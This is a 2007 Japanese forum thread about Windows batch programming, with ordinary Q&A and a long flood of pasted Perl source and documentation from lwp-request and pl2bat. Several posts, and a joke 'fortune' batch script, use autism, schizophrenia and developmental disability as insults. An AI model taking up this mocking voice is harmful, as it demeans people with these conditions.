if ($options{'c'}) {
$allowed_methods{$method} = "C"; # force content
} else {
$allowed_methods{$method} = "";
}
} elsif (!defined $allowed_methods{$method}) {
die "$progname: $method is not an allowed method\n";
}
683つづき:2007/03/15(木) 11:26:52
>679のつづき

=head1 SEE ALSO

L<lwp-mirror>, L<LWP>

=head1 COPYRIGHT

Copyright 1995-1999 Gisle Aas.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=head1 AUTHOR

Gisle Aas <[email protected]>

=cut

$progname = $0;
$progname =~ s,.*[\\/],,; # use basename only
$progname =~ s/\.\w*$//; # strip extension, if any

$VERSION = sprintf("%d.%02d", q$Revision: 2.1 $ =~ /(\d+)\.(\d+)/);
684つづく:2007/03/15(木) 11:27:39
=item -i <time>

Set the If-Modified-Since header in the request. If I<time> it the
name of a file, use the modification timestamp for this file. If
I<time> is not a file, it is parsed as a literal date. Take a look at
L<HTTP::Date> for recogniced formats.

=item -c <content-type>

Set the Content-Type for the request. This option is only allowed for
requests that take a content, i.e. POST and PUT. You can
force methods to take content by using the C<-f> option together with
C<-c>. The default Content-Type for POST is
C<application/x-www-form-urlencoded>. The default Content-type for
the others is C<text/plain>.

=item -p <proxy-url>

Set the proxy to be used for the requests. The program also loads
proxy settings from the environment. You can disable this with the
C<-P> option.
685デフォルトの名無しさん:2007/03/15(木) 11:33:20
これは悪い嵐ですね
686デフォルトの名無しさん:2007/03/15(木) 11:36:24
        ___
    /´. _, -―-、ヽ、
  ./  l´[☆ィTfヘマ、 ヽ
 |  | |ィケリノ |ト}!l|
 | _| レァ予  伝yリ|    ,..、
  | fr| 《{_丿   Ljハ‖  _,ノ/`il  / / 、``_ .┼┐
  | ゞ||'''  r‐ァ`,ツイイ´  ハ il   /   |     / /
 |  | 「`}T 云'I「|{ {::::{   V リ  \
 || N {`ヾー弋イノ`衣√`ヾノ
  从 |、

687デフォルトの名無しさん:2007/03/15(木) 11:37:00
どうして、どこかにうpるという選択幅が思いつかなかったんだろうな。
688デフォルトの名無しさん:2007/03/15(木) 11:43:48
しかも大半が無意味に近いんだよな。
689デフォルトの名無しさん:2007/03/15(木) 11:45:13
自分の作ったものを誇示したかったんじゃないの?
テキストエディタで見ればたいしたものではないけど
数行以下のレスがほとんどのここに貼れば、ちょっとは凄そうに見えるじゃん。
実際には内容が"凄い"んじゃなくて、"凄く"邪魔なだけなんだけどねw
690デフォルトの名無しさん:2007/03/15(木) 11:46:43
>>665-684
そのレス数20。文句言われないわけがない。
問い詰めたい…。なぜこんな荒業を炸裂させたのかを。
691デフォルトの名無しさん:2007/03/15(木) 12:03:53
2000サーバー上で文字列をテキストファイルにリダイレクトする際に、改行をいれる方法を教えてください。
お願いします。
692デフォルトの名無しさん:2007/03/15(木) 12:05:31
いくつかゴミが入ってるよ
せめてトリップ付ければ、ああいう邪魔はされなかっただろうし
例え邪魔されても、邪魔した方が哀れなだけだったんだがな
693デフォルトの名無しさん:2007/03/15(木) 12:53:06
>>691
echo. >> hoge.txt
ってのは?
694691:2007/03/15(木) 13:55:24
>>693
OKでした!ありがとうございました。
ていうか愚問スレ汚しスマソ
695デフォルトの名無しさん:2007/03/15(木) 14:06:29
windowsで実行しているExeを定期的に監視して、
落ちていたら自動実行することってできませんか?
696デフォルトの名無しさん:2007/03/15(木) 14:08:18
if文で複数の条件を書く方法を教えてください。
条件AとBとCが真のときにコマンドを実行したいのですが。
697デフォルトの名無しさん:2007/03/15(木) 14:27:56
if ($method eq "HEAD") {
$options{'s'} = 1;
$options{'e'} = 1 unless $options{'d'};
$options{'d'} = 1;
}

if (defined $options{'t'}) {
$options{'t'} =~ /^(\d+)([smh])?/;
die "$progname: Illegal timeout value!\n" unless defined $1;
$timeout = $1;
if (defined $2) {
$timeout *= 60 if $2 eq "m";
$timeout *= 3600 if $2 eq "h";
}
$ua->timeout($timeout);
}

if (defined $options{'i'}) {
if (-e $options{'i'}) {
$time = (stat _)[9];
} else {
$time = str2time($options{'i'});
die "$progname: Illegal time syntax for -i option\n"
unless defined $time;
}
$options{'i'} = time2str($time);
}
698デフォルトの名無しさん:2007/03/15(木) 14:29:03
$content = undef;
if ($allowed_methods{$method} eq "C") {
# This request needs some content
unless (defined $options{'c'}) {
# set default content type
$options{'c'} = ($method eq "POST") ?
"application/x-www-form-urlencoded"
: "text/plain";
} else {
die "$progname: Illegal Content-type format\n"
unless $options{'c'} =~ m,^[\w\-]+/[\w\-]+(?:\s*;.*)?$,
}
print "Please enter content ($options{'c'}) to be ${method}ed:\n"
if -t;
binmode STDIN unless -t or $options{'a'};
$content = join("", <STDIN>);
} else {
die "$progname: Can't set Content-type for $method requests\n"
if defined $options{'c'};
}
699デフォルトの名無しさん:2007/03/15(木) 18:51:16
バッチ以外はスレ違い
700デフォルトの名無しさん:2007/03/15(木) 19:37:24
700\(^o^)/!
701デフォルトの名無しさん:2007/03/15(木) 19:39:01
まあ確かにバッチには違いないが長すぎたのが残念
702デフォルトの名無しさん:2007/03/15(木) 19:46:50
>>696
単にネストすればいいだけじゃん
一応言っておくが、ネスト以外でとか、ひとつのif文でとか、条件後出ししないでね
703デフォルトの名無しさん:2007/03/15(木) 20:11:42
>>695
↓のバッチでExeを起動するのはどうでしょう。

@echo off
:loop
start /wait …….exe
goto loop
704デフォルトの名無しさん:2007/03/15(木) 20:14:23
ウイルスの作り方
705デフォルトの名無しさん:2007/03/15(木) 21:01:40
>>704
病院行って来館してる患者全員とキスしまくる
706デフォルトの名無しさん:2007/03/15(木) 21:39:26
質問する前にGoogleで検索しましょう。http://www.google.co.jp
プログラム・ソフトの使い方はPC初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
707デフォルトの名無しさん:2007/03/15(木) 23:23:06
>>695
バッチ単体では厳しいな。
cscript 使うなら WMI で作ったことあるけど。
708デフォルトの名無しさん:2007/03/16(金) 00:32:24
@rem 彼はもしかしてアスペルガー
709デフォルトの名無しさん:2007/03/16(金) 09:11:15
Cygwinのps -esWとか
710デフォルトの名無しさん:2007/03/16(金) 17:38:37
711デフォルトの名無しさん:2007/03/17(土) 00:41:35
バッチで、あるテキストファイルが開かれていたらそのまま、開かれていなかったら開く、というのをやりたいんだが、良い案ある?
テキストファイルを開くのは任意のエディタを使う。
712デフォルトの名無しさん:2007/03/17(土) 01:06:30
エディタに因って開いてるファイルを得る方法は異なるわけだが、
その「任意のエディタ」ってのが開いてるファイルを標準出力に列挙するようなコマンドツール作って
そいつの結果をfor /fで当たればいいんじゃね?

というか普通エディタって、既に開いてるファイルをコマンドラインで渡しても
二重で開くことはないから、開いてる開いてないに関係なく、
単純にそのファイルをエディタに渡してやればいいような気もするが。
713デフォルトの名無しさん:2007/03/17(土) 05:44:30
>712
いや、同じファイルを重複して開けることができてしまうエディタは案外多い
一番楽なのはエディタを選ぶことかな
714デフォルトの名無しさん:2007/03/17(土) 10:25:38
>711
パソコン初心者ですか?
自分にできないことをバッチにやらせようとするのが根本的な間違い
バッチは人がやることを自動化するだけ
バッチにやらせる前に自分でやってみろ

あとパソコン初心者の方はこちらへどうぞ
PC初心者
http://pc9.2ch.net/pcqa/
715714:2007/03/17(土) 11:48:37
ちなみにボクは人間初心者です
716711:2007/03/17(土) 13:13:38
>>714
わからないんだったら黙ってろ、カス!

>>712、713
ありがとうございます。
メモ帳だと、何度でも開いてしまうようですね。
717デフォルトの名無しさん:2007/03/17(土) 13:41:59
tasklist.exe /v /fi "imagename eq notepad.exe"
718デフォルトの名無しさん:2007/03/17(土) 14:22:36
過去(中略)俺がこのスレにふさわしい占いバッチを作ってみたよ
今日の曜日を取得する簡単な方法はないかなぁ?

@echo off
echo 〜〜〜レス番占い〜〜〜
echo レス番号から性格を占います。あなたが書き込んだレスの番号を入力してください。
setlocal enabledelayedexpansion
set /P resuban=
set /A num=%resuban%%%13
set y=%date:~,4%&set m=%date:~5,2%&set d=%date:~8,2%
if "%m:~0,1%"=="0" set m=%m:~1%
if "%d:~0,1%"=="0" set d=%d:~1%
set t[1]=0&set t[2]=3&set t[3]=2&set t[4]=5&set t[5]=0&set t[6]=3&set t[7]=5&set t[8]=1&set t[9]=4&set t[10]=6&set t[11]=2&set t[12]=4
if %m% lss 3 set /a y=%y%-1
set /a i=(%y% + %y%/4 - %y%/100 + %y%/400 + !t[%m%]! + %d%) %% 7
set youbi[0]=日&set youbi[1]=月&set youbi[2]=火&set youbi[3]=水&set youbi[4]=木&set youbi[5]=金&set youbi[6]=土
set result[0]=誘導厨
set result[1]=スレ違い君
set result[2]=病人
set result[3]=発達障害
set result[4]=統合失調症
set result[5]=高機能自閉症
set result[6]=箸じゃなくても歯ブラシでも食べれることに気がついた
set result[7]=悪口書き込みたいが為だけにスタンバってる
set result[8]=どこかにうpるという選択幅が思いつかなかった
set result[9]=自分の作ったものを誇示したかった
set result[10]=アスペルガー
set result[11]=パソコン初心者
set result[12]=人間初心者
echo.
echo 名前:%resuban%[sage] 投稿日:%date%(!youbi[%i%]!) %time:~,8%
echo ちなみにボクは!result[%num%]!です
719デフォルトの名無しさん:2007/03/17(土) 14:36:33
可愛そうな人なんだから、そっとしておいてあげましょう。
そして、そっと心の中で早く病気が治る事を祈ってあげましょう。
720711:2007/03/19(月) 00:25:10
>>717
ども。
それも考えたんだけど、notepadでたまたま別のファイルを開いていたら、そっちも閉じてしまわないかな?
721デフォルトの名無しさん:2007/03/19(月) 00:36:29
tasklist.exe /v /fi "windowtitle eq filename - メモ帳"
はどう?
722デフォルトの名無しさん:2007/03/19(月) 16:37:30
>>720
何のために/vを指定していると思う?
723デフォルトの名無しさん:2007/03/19(月) 16:44:44
パソコンの使い方は板違いでスレ違い
724デフォルトの名無しさん:2007/03/19(月) 16:51:54
>それも考えたんだけど

馬鹿にされてるぞ
725デフォルトの名無しさん:2007/03/19(月) 23:46:49
port21を即座に開放させるDOSコマンドというか、
バッチを作りたいのですが、お知恵を拝借させてください。。。
726デフォルトの名無しさん:2007/03/19(月) 23:48:29
>>725
port21って何?
解放って何?
727デフォルトの名無しさん:2007/03/20(火) 00:25:15
解放じゃありません、開放です。
728デフォルトの名無しさん:2007/03/20(火) 00:51:28
>>726
> port21って何?

( ^∀^)ゲラゲラゲラ
729デフォルトの名無しさん:2007/03/20(火) 01:04:31
port21を即座に開放させるってどういうこと?
730デフォルトの名無しさん:2007/03/20(火) 02:00:11
21ってことは、FTPセッションかなんかが残っていて、困ってるんだろう・・・

Net なんとかsessionじゃ・・・たしか全部きられちゃうしなぁ。。。
731デフォルトの名無しさん:2007/03/20(火) 02:17:08
あー、IPヘルパAPIの SetTcpEntry() だな
バッチじゃどうしようもないけれどCでプログラムつくってゴリゴリすれば何とかなるね
732デフォルトの名無しさん:2007/03/20(火) 02:19:05
あと、TCPしか有効じゃないと思うから他のコネクション型ソケットはどうしようもない
最悪プロトコルスタックにかぶさるような形(んーと、UNIXならipfwか?)のドライバ作るしかないね
733デフォルトの名無しさん:2007/03/20(火) 02:19:56
>>727-728
というわけで頼んだ
734デフォルトの名無しさん:2007/03/20(火) 05:42:18
>>729
エスパーしてみるとTIME_WAITうぜぇってことじゃね?
735デフォルトの名無しさん:2007/03/20(火) 10:57:29
パソコンの使い方を知らない人がパソコンを買っても使えないのと同じで
パソコンの使い方を知らない人がバッチを使いこなすのは無理
バッチをやるまえにパソコンの使い方を勉強しましょう
736デフォルトの名無しさん:2007/03/20(火) 14:15:44
以上、人間初心者の主張でした。
737デフォルトの名無しさん:2007/03/20(火) 15:05:54
そうでもないか。
738デフォルトの名無しさん:2007/03/20(火) 15:19:36
>>735
俺 Linux だけじゃなく Windows でもプログラム作れるけど、
どちらの OS も全ての操作方法については知らないよ。
てか、アプリ全部使いこなせるわけがなかろう。
739デフォルトの名無しさん:2007/03/20(火) 15:36:48
バッチ = キーボードマクロ+α = キーボード履歴+α = パソコンの操作
と考えればいいだろ

バッチを書く前にパソコンの操作方法を調べればいいんだよ
それができればそのままバッチに書ける
740デフォルトの名無しさん:2007/03/20(火) 16:55:28
「アプリ全部」なんて意味のないことを書いている時点で……
741デフォルトの名無しさん:2007/03/20(火) 17:21:44
俺様からすれば、ここにいる奴らなんて初心者とすら言えないような超初心者なんだが
742デフォルトの名無しさん:2007/03/20(火) 20:28:09
>>707
wmic.exe使えばどう?
XPHomeEditionなので、XPProのインストール媒体から抜いて来たけど
他にも関連ファイルがあるみたいで使えないよー
743デフォルトの名無しさん:2007/03/20(火) 21:22:27
プログラム板でパソコンの使い方を教える変なやつ
744デフォルトの名無しさん:2007/03/20(火) 21:29:30
DOSの時代は一般教養だったかもしれんが
Windowsのコマンドプロンプトは「一般的な使い方」からは外れてるんだがな
ましてバッチとなるとその更に上の段階
745デフォルトの名無しさん:2007/03/20(火) 21:30:42
人間初心者乙!
746デフォルトの名無しさん:2007/03/20(火) 21:38:35
このスレを理解するための関連サイト
ttp://www.autism.jp/asp/
747デフォルトの名無しさん:2007/03/22(木) 18:17:18
そもそもこのスレの趣旨としているバッチファイルプログラミングとはコマンドプロンプトとか
なり似通っていて初心者はその区別が付かずに「パソコンの使い方」に属する質問を多く聞いて
くることは目に見えているんだからそういう話をすべて「変なやつ」「人間初心者乙!」で茶化
して終わるならこのスレいらないのではないだろうか。
知識豊富な人でスレが成り立つほどこの板は人が多いわけではないのだから大風呂敷敷いて、
来るもの拒まずの精神でスレ運営できないものか。
748デフォルトの名無しさん:2007/03/22(木) 18:25:25
粘着が張り付いてるだけ。
749デフォルトの名無しさん:2007/03/22(木) 18:31:50
そうでもないか
750デフォルトの名無しさん:2007/03/22(木) 19:16:10
>747
初心者は本スレへ誘導してあげるのが親切
質問にレスがつけばいいわけじゃない
751デフォルトの名無しさん:2007/03/22(木) 19:57:00
来るもの拒まずの精神でスレ運営「できない人」は1人だけじゃないか。
「変なやつ」「人間初心者乙!」と言われてる人は初心者ではなく
「できない人」ですよ。
752デフォルトの名無しさん:2007/03/22(木) 20:09:13
>このスレいらないのではないだろうか。

削除してもいいけど、本スレへ誘導するのに使えるから残してある
753デフォルトの名無しさん:2007/03/22(木) 20:33:08
>>752
病院に行っても治しようがないっぽいね。かわいそうだけど。
754デフォルトの名無しさん:2007/03/23(金) 09:19:43
shiftdown && echo on || echo off
みたいにSHIFTキーの押下で分岐するコードをよく書くんだけど
自前で作ったshiftdown相当の機能って
Windows標準のコマンドで代替きかないかな。
755デフォルトの名無しさん:2007/03/23(金) 10:03:11
利くよ
756デフォルトの名無しさん:2007/03/23(金) 16:49:28
MSHTA.EXE "about:<script>window.onunload=function(){new ActiveXObject('Scripting.FileSystemObject').GetStandardStream(1).WriteLine(this.event.shiftKey);};close();resizeTo(0,0);</script>"|more
757デフォルトの名無しさん:2007/03/23(金) 17:07:50
バッチ以外はスレ違い
758デフォルトの名無しさん:2007/03/23(金) 17:28:41
>>757
そうだね。
だからバッチファイルで実行できる>>756はスレ違いじゃないよね。
759デフォルトの名無しさん:2007/03/23(金) 18:46:31
@rem = '--*-Perl-*--
@echo off
if "%OS%" == "Windows_NT" goto WinNT
perl -x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9
goto endofperl
:WinNT
perl -x -S %0 %*
if NOT "%COMSPEC%" == "%SystemRoot%\system32\cmd.exe" goto endofperl
if %errorlevel% == 9009 echo You do not have Perl in your PATH.
if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul
goto endofperl
@rem ';
#!perl
#line 15
eval 'exec perl -x -S "$0" ${1+"$@"}'
if 0; # In case running under some shell

require 5;
use Getopt::Std;
use Config;
760デフォルトの名無しさん:2007/03/23(金) 18:47:01
$0 =~ s|.*[/\\]||;

my $usage = <<EOT;
Usage: $0 [-h]
or: $0 [-w] [-u] [-a argstring] [-s stripsuffix] [files]
or: $0 [-w] [-u] [-n ntargs] [-o otherargs] [-s stripsuffix] [files]
-n ntargs arguments to invoke perl with in generated file
when run from Windows NT. Defaults to
'-x -S %0 %*'.
-o otherargs arguments to invoke perl with in generated file
other than when run from Windows NT. Defaults
to '-x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9'.
-a argstring arguments to invoke perl with in generated file
ignoring operating system (for compatibility
with previous pl2bat versions).
-u update files that may have already been processed
by (some version of) pl2bat.
-w include "-w" on the /^#!.*perl/ line (unless
a /^#!.*perl/ line was already present).
-s stripsuffix strip this suffix from file before appending ".bat"
Not case-sensitive
Can be a regex if it begins with `/'
Defaults to "/\.plx?/"
-h show this help
EOT
761デフォルトの名無しさん:2007/03/23(金) 18:48:31
my %OPT = ();
warn($usage), exit(0) if !getopts('whun:o:a:s:',\%OPT) or $OPT{'h'};
# NOTE: %0 is already enclosed in doublequotes by cmd.exe, as appropriate
$OPT{'n'} = '-x -S %0 %*' unless exists $OPT{'n'};
$OPT{'o'} = '-x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9' unless exists $OPT{'o'};
$OPT{'s'} = '/\\.plx?/' unless exists $OPT{'s'};
$OPT{'s'} = ($OPT{'s'} =~ m#^/([^/]*[^/\$]|)\$?/?$# ? $1 : "\Q$OPT{'s'}\E");

my $head;
if( defined( $OPT{'a'} ) ) {
$head = <<EOT;
\@rem = '--*-Perl-*--
\@echo off
perl $OPT{'a'}
goto endofperl
\@rem ';
EOT
762デフォルトの名無しさん:2007/03/23(金) 18:49:00
勘弁してくれ……
763デフォルトの名無しさん:2007/03/23(金) 18:49:35
} else {
$head = <<EOT;
\@rem = '--*-Perl-*--
\@echo off
if "%OS%" == "Windows_NT" goto WinNT
perl $OPT{'o'}
goto endofperl
:WinNT
perl $OPT{'n'}
if NOT "%COMSPEC%" == "%SystemRoot%\\system32\\cmd.exe" goto endofperl
if %errorlevel% == 9009 echo You do not have Perl in your PATH.
if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul
goto endofperl
\@rem ';
EOT
}
764デフォルトの名無しさん:2007/03/23(金) 18:50:11
$head =~ s/^\t//gm;
my $headlines = 2 + ($head =~ tr/\n/\n/);
my $tail = "\n__END__\n:endofperl\n";

@ARGV = ('-') unless @ARGV;

foreach ( @ARGV ) {
process($_);
}
765デフォルトの名無しさん:2007/03/23(金) 19:26:48
テスト
766デフォルトの名無しさん:2007/03/23(金) 19:29:26
sub process {
my( $file )= @_;
my $myhead = $head;
my $linedone = 0;
my $taildone = 0;
my $linenum = 0;
my $skiplines = 0;
my $line;
my $start= $Config{startperl};
$start= "#!perl" unless $start =~ /^#!.*perl/;
open( FILE, $file ) or die "$0: Can't open $file: $!";
@file = <FILE>;
foreach $line ( @file ) {
$linenum++;
if ( $line =~ /^:endofperl\b/ ) {
if( ! exists $OPT{'u'} ) {
warn "$0: $file has already been converted to a batch file!\n";
return;
}
$taildone++;
}
if ( not $linedone and $line =~ /^#!.*perl/ ) {
if( exists $OPT{'u'} ) {
$skiplines = $linenum - 1;
$line .= "#line ".(1+$headlines)."\n";
} else {
$line .= "#line ".($linenum+$headlines)."\n";
}
$linedone++;
}
767デフォルトの名無しさん:2007/03/23(金) 19:30:02
if ( $line =~ /^#\s*line\b/ and $linenum == 2 + $skiplines ) {
$line = "";
}
}
close( FILE );
$file =~ s/$OPT{'s'}$//oi;
$file .= '.bat' unless $file =~ /\.bat$/i or $file =~ /^-$/;
open( FILE, ">$file" ) or die "Can't open $file: $!";
print FILE $myhead;
print FILE $start, ( $OPT{'w'} ? " -w" : "" ),
"\n#line ", ($headlines+1), "\n" unless $linedone;
print FILE @file[$skiplines..$#file];
print FILE $tail unless $taildone;
close( FILE );
}
__END__
768デフォルトの名無しさん:2007/03/23(金) 19:30:34
=head1 NAME

pl2bat - wrap perl code into a batch file

=head1 SYNOPSIS

B<pl2bat> B<-h>

B<pl2bat> [B<-w>] S<[B<-a> I<argstring>]> S<[B<-s> I<stripsuffix>]> [files]

B<pl2bat> [B<-w>] S<[B<-n> I<ntargs>]> S<[B<-o> I<otherargs>]> S<[B<-s> I<stripsuffix>]> [files]

=head1 DESCRIPTION

This utility converts a perl script into a batch file that can be
executed on DOS-like operating systems. This is intended to allow
you to use a Perl script like regular programs and batch files where
you just enter the name of the script [probably minus the extension]
plus any command-line arguments and the script is found in your B<PATH>
and run.
769デフォルトの名無しさん:2007/03/23(金) 19:34:49
=head2 ADVANTAGES

There are several alternatives to this method of running a Perl script.
They each have disadvantages that help you understand the motivation
for using B<pl2bat>.

=over

=item 1

C:> perl x:/path/to/script.pl [args]

=item 2

C:> perl -S script.pl [args]

=item 3

C:> perl -S script [args]
770デフォルトの名無しさん:2007/03/23(金) 19:35:23
=item 4

C:> ftype Perl=perl.exe "%1" %*
C:> assoc .pl=Perl
then
C:> script.pl [args]

=item 5

C:> ftype Perl=perl.exe "%1" %*
C:> assoc .pl=Perl
C:> set PathExt=%PathExt%;.PL
then
C:> script [args]
771デフォルトの名無しさん:2007/03/23(金) 19:35:53
sub process {
my( $file )= @_;
my $myhead = $head;
my $linedone = 0;
my $taildone = 0;
my $linenum = 0;
my $skiplines = 0;
my $line;
my $start= $Config{startperl};
$start= "#!perl" unless $start =~ /^#!.*perl/;
open( FILE, $file ) or die "$0: Can't open $file: $!";
@file = <FILE>;
foreach $line ( @file ) {
$linenum++;
if ( $line =~ /^:endofperl\b/ ) {
if( ! exists $OPT{'u'} ) {
warn "$0: $file has already been converted to a batch file!\n";
return;
}
$taildone++;
}
if ( not $linedone and $line =~ /^#!.*perl/ ) {
if( exists $OPT{'u'} ) {
$skiplines = $linenum - 1;
$line .= "#line ".(1+$headlines)."\n";
} else {
$line .= "#line ".($linenum+$headlines)."\n";
}
$linedone++;
}
772デフォルトの名無しさん:2007/03/23(金) 19:38:53
$head =~ s/^\t//gm;
my $headlines = 2 + ($head =~ tr/\n/\n/);
my $tail = "\n__END__\n:endofperl\n";

@ARGV = ('-') unless @ARGV;

foreach ( @ARGV ) {
process($_);
}
773デフォルトの名無しさん:2007/03/23(金) 19:39:20
=back

B<1> and B<2> are the most basic invocation methods that should work on
any system [DOS-like or not]. They require extra typing and require
that the script user know that the script is written in Perl. This
is a pain when you have lots of scripts, some written in Perl and some
not. It can be quite difficult to keep track of which scripts need to
be run through Perl and which do not. Even worse, scripts often get
rewritten from simple batch files into more powerful Perl scripts in
which case these methods would require all existing users of the scripts
be updated.

B<3> works on modern Win32 versions of Perl. It allows the user to
omit the ".pl" or ".bat" file extension, which is a minor improvement.

B<4> and B<5> work on some Win32 operating systems with some command
shells. One major disadvantage with both is that you can't use them
in pipelines nor with file redirection. For example, none of the
following will work properly if you used method B<4> or B<5>:

C:> script.pl <infile
C:> script.pl >outfile
C:> echo y | script.pl
C:> script.pl | more
774デフォルトの名無しさん:2007/03/23(金) 19:40:06
This is due to a Win32 bug which Perl has no control over. This bug
is the major motivation for B<pl2bat> [which was originally written
for DOS] being used on Win32 systems.

Note also that B<5> works on a smaller range of combinations of Win32
systems and command shells while B<4> requires that the user know
that the script is a Perl script [because the ".pl" extension must
be entered]. This makes it hard to standardize on either of these
methods.
775デフォルトの名無しさん:2007/03/23(金) 19:41:08
=head2 DISADVANTAGES

There are several potential traps you should be aware of when you
use B<pl2bat>.

The generated batch file is initially processed as a batch file each
time it is run. This means that, to use it from within another batch
file you should preceed it with C<call> or else the calling batch
file will not run any commands after the script:

call script [args]

Except under Windows NT, if you specify more than 9 arguments to
the generated batch file then the 10th and subsequent arguments
are silently ignored.

Except when using F<CMD.EXE> under Windows NT, if F<perl.exe> is not
in your B<PATH>, then trying to run the script will give you a generic
"Command not found"-type of error message that will probably make you
think that the script itself is not in your B<PATH>. When using
F<CMD.EXE> under Windows NT, the generic error message is followed by
"You do not have Perl in your PATH", to make this clearer.

On most DOS-like operating systems, the only way to exit a batch file
is to "fall off the end" of the file. B<pl2bat> implements this by
doing C<goto :endofperl> and adding C<__END__> and C<:endofperl> as
the last two lines of the generated batch file. This means:
776デフォルトの名無しさん:2007/03/23(金) 19:41:56
=over

=item No line of your script should start with a colon.

In particular, for this version of B<pl2bat>, C<:endofperl>,
C<:WinNT>, and C<:script_failed_so_exit_with_non_zero_val> should not
be used.

=item Care must be taken when using C<__END__> and the C<DATA> file handle.

One approach is:

. #!perl
. while( <DATA> ) {
. last if /^__END__$/;
. [...]
. }
. __END__
. lines of data
. to be processed
. __END__
. :endofperl

The dots in the first column are only there to prevent F<cmd.exe> to interpret
the C<:endofperl> line in this documentation. Otherwise F<pl2bat.bat> itself
wouldn't work. See the previous item. :-)
777デフォルトの名無しさん:2007/03/23(金) 19:42:48
=item The batch file always "succeeds"

The following commands illustrate the problem:

C:> echo exit(99); >fail.pl
C:> pl2bat fail.pl
C:> perl -e "print system('perl fail.pl')"
99
C:> perl -e "print system('fail.bat')"
0

So F<fail.bat> always reports that it completed successfully. Actually,
under Windows NT, we have:

C:> perl -e "print system('fail.bat')"
1

So, for Windows NT, F<fail.bat> fails when the Perl script fails, but
the return code is always C<1>, not the return code from the Perl script.
778デフォルトの名無しさん:2007/03/23(金) 19:46:18
=head1 NAME

pl2bat - wrap perl code into a batch file

=head1 SYNOPSIS

B<pl2bat> B<-h>

B<pl2bat> [B<-w>] S<[B<-a> I<argstring>]> S<[B<-s> I<stripsuffix>]> [files]

B<pl2bat> [B<-w>] S<[B<-n> I<ntargs>]> S<[B<-o> I<otherargs>]> S<[B<-s> I<stripsuffix>]> [files]

=head1 DESCRIPTION

This utility converts a perl script into a batch file that can be
executed on DOS-like operating systems. This is intended to allow
you to use a Perl script like regular programs and batch files where
you just enter the name of the script [probably minus the extension]
plus any command-line arguments and the script is found in your B<PATH>
and run.
779デフォルトの名無しさん:2007/03/23(金) 19:47:15
=back

=head2 FUNCTION

By default, the ".pl" suffix will be stripped before adding a ".bat" suffix
to the supplied file names. This can be controlled with the C<-s> option.

The default behavior is to have the batch file compare the C<OS>
environment variable against C<"Windows_NT">. If they match, it
uses the C<%*> construct to refer to all the command line arguments
that were given to it, so you'll need to make sure that works on your
variant of the command shell. It is known to work in the F<CMD.EXE> shell
under Windows NT. 4DOS/NT users will want to put a C<ParameterChar = *>
line in their initialization file, or execute C<setdos /p*> in
the shell startup file.

On Windows95 and other platforms a nine-argument limit is imposed
on command-line arguments given to the generated batch file, since
they may not support C<%*> in batch files.

These can be overridden using the C<-n> and C<-o> options or the
deprecated C<-a> option.
780デフォルトの名無しさん:2007/03/23(金) 19:47:54
=head1 OPTIONS

=over 8

=item B<-n> I<ntargs>

Arguments to invoke perl with in generated batch file when run from
Windows NT (or Windows 98, probably). Defaults to S<'-x -S %0 %*'>.

=item B<-o> I<otherargs>

Arguments to invoke perl with in generated batch file except when
run from Windows NT (ie. when run from DOS, Windows 3.1, or Windows 95).
Defaults to S<'-x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9'>.

=item B<-a> I<argstring>

Arguments to invoke perl with in generated batch file. Specifying
B<-a> prevents the batch file from checking the C<OS> environment
variable to determine which operating system it is being run from.

=item B<-s> I<stripsuffix>

Strip a suffix string from file name before appending a ".bat"
suffix. The suffix is not case-sensitive. It can be a regex if
it begins with `/' (the trailing '/' is optional and a trailing
C<$> is always assumed). Defaults to C</.plx?/>.
781デフォルトの名無しさん:2007/03/23(金) 19:48:41
=item B<-w>

If no line matching C</^#!.*perl/> is found in the script, then such
a line is inserted just after the new preamble. The exact line
depends on C<$Config{startperl}> [see L<Config>]. With the B<-w>
option, C<" -w"> is added after the value of C<$Config{startperl}>.
If a line matching C</^#!.*perl/> already exists in the script,
then it is not changed and the B<-w> option is ignored.

=item B<-u>

If the script appears to have already been processed by B<pl2bat>,
then the script is skipped and not processed unless B<-u> was
specified. If B<-u> is specified, the existing preamble is replaced.

=item B<-h>

Show command line usage.

=back
782デフォルトの名無しさん:2007/03/23(金) 19:54:41
=head1 EXAMPLES

C:\> pl2bat foo.pl bar.PM
[..creates foo.bat, bar.PM.bat..]

C:\> pl2bat -s "/\.pl|\.pm/" foo.pl bar.PM
[..creates foo.bat, bar.bat..]

C:\> pl2bat < somefile > another.bat

C:\> pl2bat > another.bat
print scalar reverse "rekcah lrep rehtona tsuj\n";
^Z
[..another.bat is now a certified japh application..]

C:\> ren *.bat *.pl
C:\> pl2bat -u *.pl
[..updates the wrapping of some previously wrapped scripts..]

C:\> pl2bat -u -s .bat *.bat
[..same as previous example except more dangerous..]
783デフォルトの名無しさん:2007/03/23(金) 19:55:16
=head1 BUGS

C<$0> will contain the full name, including the ".bat" suffix
when the generated batch file runs. If you don't like this,
see runperl.bat for an alternative way to invoke perl scripts.

Default behavior is to invoke Perl with the B<-S> flag, so Perl will
search the B<PATH> to find the script. This may have undesirable
effects.

On really old versions of Win32 Perl, you can't run the script
via

C:> script.bat [args]

and must use

C:> script [args]
784デフォルトの名無しさん:2007/03/23(金) 20:00:38
>>758
スレ違いではありません。問題ありません。
785デフォルトの名無しさん:2007/03/23(金) 20:01:02
A loop should be used to build up the argument list when not on
Windows NT so more than 9 arguments can be processed.

See also L</Disadvantages>.

=head1 SEE ALSO

perl, perlwin32, runperl.bat

=cut


__END__
:endofperl
786デフォルトの名無しさん:2007/03/23(金) 20:05:48
This is due to a Win32 bug which Perl has no control over. This bug
is the major motivation for B<pl2bat> [which was originally written
for DOS] being used on Win32 systems.

Note also that B<5> works on a smaller range of combinations of Win32
systems and command shells while B<4> requires that the user know
that the script is a Perl script [because the ".pl" extension must
be entered]. This makes it hard to standardize on either of these
methods.
787デフォルトの名無しさん:2007/03/23(金) 21:26:07
見た目バッチでも中味が他のスクリプト言語を呼んでるだけのはスレ違い
788787:2007/03/23(金) 21:30:14
スレ違いと言うのが快感なんです
789デフォルトの名無しさん:2007/03/23(金) 21:35:06
長いのはアップローダあたりにうpしてほしいです。
790デフォルトの名無しさん:2007/03/23(金) 21:47:36
過疎スレで堅い事言うな
